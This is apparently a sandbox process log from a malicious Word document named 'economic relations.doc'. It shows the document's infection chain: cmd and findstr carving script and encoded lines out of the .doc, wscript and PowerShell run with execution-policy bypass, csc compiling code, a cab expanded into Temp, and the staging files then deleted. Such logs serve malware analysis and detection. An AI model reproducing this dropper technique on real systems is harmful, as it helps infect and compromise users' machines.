WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" "C:\Users\test22\AppData\Local\Temp\economic relations.doc"
420cmd.exe cmd /c cd /d %USERPROFILE% && type "C:\Users\test22\AppData\Local\Temp\economic relations.doc" | findstr /r "^var" > y.js && wscript y.js "C:\Users\test22\AppData\Local\Temp\economic relations.doc"
1040cmd.exe C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\test22\AppData\Local\Temp\economic relations.doc" "
1016findstr.exe findstr /r "^var"
1464cmd.exe "C:\Windows\System32\cmd.exe" /c findstr /r "^dHJ5I" "C:\Users\test22\AppData\Local\Temp\economic relations.doc" > temp.txt
2316findstr.exe findstr /r "^dHJ5I" "C:\Users\test22\AppData\Local\Temp\economic relations.doc"
2216cmd.exe "C:\Windows\System32\cmd.exe" /c findstr /r "^QWRkL" "C:\Users\test22\AppData\Local\Temp\economic relations.doc" > temp.txt
1936findstr.exe findstr /r "^QWRkL" "C:\Users\test22\AppData\Local\Temp\economic relations.doc"
2476wscript.exe "C:\Windows\System32\wscript.exe" yy.js
2816powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -f ./y.ps1
2900csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\litmq795.cmdline"
1728cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RES2983.tmp" "c:\Users\test22\AppData\Local\Temp\CSC2972.tmp"
1720cmd.exe cmd /c expand C:\Users\test22\AppData\Local\Temp\tmp2A3D.tmp -F:* C:\Users\test22\AppData\Local\Temp && del /q /f *.tmp
2160expand.exe expand C:\Users\test22\AppData\Local\Temp\tmp2A3D.tmp -F:* C:\Users\test22\AppData\Local\Temp
2224cmd.exe cmd /c cd /d %USERPROFILE% && del /f /q y.*
908